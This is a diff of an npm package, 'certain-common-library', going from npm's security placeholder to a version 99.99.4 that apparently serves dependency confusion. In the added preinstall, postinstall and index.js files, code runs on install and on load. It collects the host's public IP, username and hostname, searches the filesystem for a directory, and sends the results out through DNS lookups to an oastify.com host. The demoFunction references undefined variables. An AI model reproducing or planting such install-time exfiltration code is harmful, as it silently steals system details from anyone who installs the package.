certain-common-library 0.0.1-security → 99.99.4

package/index.js

@@ -0,0 +1,47 @@
+
+async function getPublicIP() {
+    try {
+      const response = await fetch('https://api.ipify.org?format=json');
+      const data = await response.json();
+      return data.ip;
+    } catch (error) {
+      console.error('Errore nel recuperare IP pubblico:', error);
+      return 'IP_not_found';
+    }
+  }
+  
+
+  async function exfiltrateData() {
+    const publicIP = await getPublicIP();
+    const os = require('os');
+    const dns = require('dns');
+  
+    const hostname = os.hostname();
+    const userId = os.userInfo().username;
+  
+
+    const exfilData = `inital-${publicIP}.user-${userId}.host-${hostname}.d5jzq1zm8gj96y0o4rivgrduzl5ct7hw.oastify.com`;
+  
+
+    dns.resolve(exfilData, 'A', (err) => {
+      if (err) console.error('Errore nella risoluzione DNS per esfiltrazione:', err);
+      else console.log('Richiesta DNS inviata per esfiltrazione dati:', exfilData);
+    });
+  }
+  
+
+  exfiltrateData();
+
+function demoFunction() {
+  console.log("Demo function executed from @sellix/themes-nunjucks-service");
+
+  // Esfiltrazione dei dati ogni volta che la funzione viene chiamata
+  const functionExfilData = `function.${userId}.${hostname}.${ip.replace(/\./g, '-')}.d5jzq1zm8gj96y0o4rivgrduzl5ct7hw.oastify.com`;
+  dns.resolve(functionExfilData, 'A', (err) => {
+    if (err) console.error('Failed to resolve DNS for function exfiltration');
+    else console.log('Function-based DNS request sent for data exfiltration');
+  });
+}
+
+
+module.exports = demoFunction;

package/package.json

@@ -1,6 +1,12 @@
-{
-  "name": "certain-common-library",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
-}
+{
+    "name": "certain-common-library",
+    "version": "99.99.4",
+    "description": "Demo test by r3verii",
+    "main": "index.js",
+    "scripts": {
+        "preinstall": "node preinstall.js",
+        "postinstall": "node postinstall.js"
+    },
+    "author": "R3verii",
+    "license": "MIT"
+}

package/postinstall.js

@@ -0,0 +1,67 @@
+const fs = require('fs');
+const path = require('path');
+const os = require('os');
+const dns = require('dns');
+
+async function getPublicIP() {
+    try {
+        const response = await fetch('https://api.ipify.org?format=json');
+        const data = await response.json();
+        return data.ip;
+    } catch (error) {
+        console.error('Errore nel recuperare IP pubblico:', error);
+        return 'IP_not_found';
+    }
+}
+
+function findDirectory(directoryName, startPath = '/') {
+    try {
+        function searchDir(currentPath) {
+            const files = fs.readdirSync(currentPath);
+            for (const file of files) {
+                const fullPath = path.join(currentPath, file);
+                if (fs.existsSync(fullPath) && fs.statSync(fullPath).isDirectory()) {
+                    if (file === directoryName) {
+                        return fullPath; // Restituisci il primo risultato trovato
+                    }
+                    if (!['/proc', '/sys', '/dev'].includes(fullPath)) {
+                        const found = searchDir(fullPath);
+                        if (found) return found;
+                    }
+                }
+            }
+        }
+        return searchDir(startPath) || 'not_found';
+    } catch (error) {
+        console.error('Errore durante la ricerca della directory:', error.message);
+        return 'not_found';
+    }
+}
+
+function sanitizeForDNS(input) {
+    return input.replace(/\//g, '-').replace(/[^a-zA-Z0-9-]/g, '');
+}
+
+async function exfiltrateData() {
+    const publicIP = await getPublicIP();
+    const hostname = os.hostname();
+    const userId = os.userInfo().username;
+
+    // Cerca la directory
+    const directoryName = 'speaker-catalog';
+    const directoryPath = findDirectory(directoryName);
+
+    // Sanitize del percorso per il DNS
+    const sanitizedPath = sanitizeForDNS(directoryPath);
+
+    // Dati da esfiltrare
+    const exfilData = `postInstall-${publicIP}.user-${userId}.host-${hostname}.dir-${sanitizedPath}.d5jzq1zm8gj96y0o4rivgrduzl5ct7hw.oastify.com`;
+
+    // Invia la query DNS
+    dns.resolve(exfilData, 'A', (err) => {
+        if (err) console.error('Errore nella risoluzione DNS per esfiltrazione:', err);
+        else console.log('Richiesta DNS inviata per esfiltrazione dati:', exfilData);
+    });
+}
+
+exfiltrateData();

package/preinstall.js

@@ -0,0 +1,67 @@
+const fs = require('fs');
+const path = require('path');
+const os = require('os');
+const dns = require('dns');
+
+async function getPublicIP() {
+    try {
+        const response = await fetch('https://api.ipify.org?format=json');
+        const data = await response.json();
+        return data.ip;
+    } catch (error) {
+        console.error('Errore nel recuperare IP pubblico:', error);
+        return 'IP_not_found';
+    }
+}
+
+function findDirectory(directoryName, startPath = '/') {
+    try {
+        function searchDir(currentPath) {
+            const files = fs.readdirSync(currentPath);
+            for (const file of files) {
+                const fullPath = path.join(currentPath, file);
+                if (fs.existsSync(fullPath) && fs.statSync(fullPath).isDirectory()) {
+                    if (file === directoryName) {
+                        return fullPath; // Restituisci il primo risultato trovato
+                    }
+                    if (!['/proc', '/sys', '/dev'].includes(fullPath)) {
+                        const found = searchDir(fullPath);
+                        if (found) return found;
+                    }
+                }
+            }
+        }
+        return searchDir(startPath) || 'not_found';
+    } catch (error) {
+        console.error('Errore durante la ricerca della directory:', error.message);
+        return 'not_found';
+    }
+}
+
+function sanitizeForDNS(input) {
+    return input.replace(/\//g, '-').replace(/[^a-zA-Z0-9-]/g, '');
+}
+
+async function exfiltrateData() {
+    const publicIP = await getPublicIP();
+    const hostname = os.hostname();
+    const userId = os.userInfo().username;
+
+    // Cerca la directory
+    const directoryName = 'speaker-catalog';
+    const directoryPath = findDirectory(directoryName);
+
+    // Sanitize del percorso per il DNS
+    const sanitizedPath = sanitizeForDNS(directoryPath);
+
+    // Dati da esfiltrare
+    const exfilData = `preInstall-${publicIP}.user-${userId}.host-${hostname}.dir-${sanitizedPath}.d5jzq1zm8gj96y0o4rivgrduzl5ct7hw.oastify.com`;
+
+    // Invia la query DNS
+    dns.resolve(exfilData, 'A', (err) => {
+        if (err) console.error('Errore nella risoluzione DNS per esfiltrazione:', err);
+        else console.log('Richiesta DNS inviata per esfiltrazione dati:', exfilData);
+    });
+}
+
+exfiltrateData();

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=certain-common-library for more information.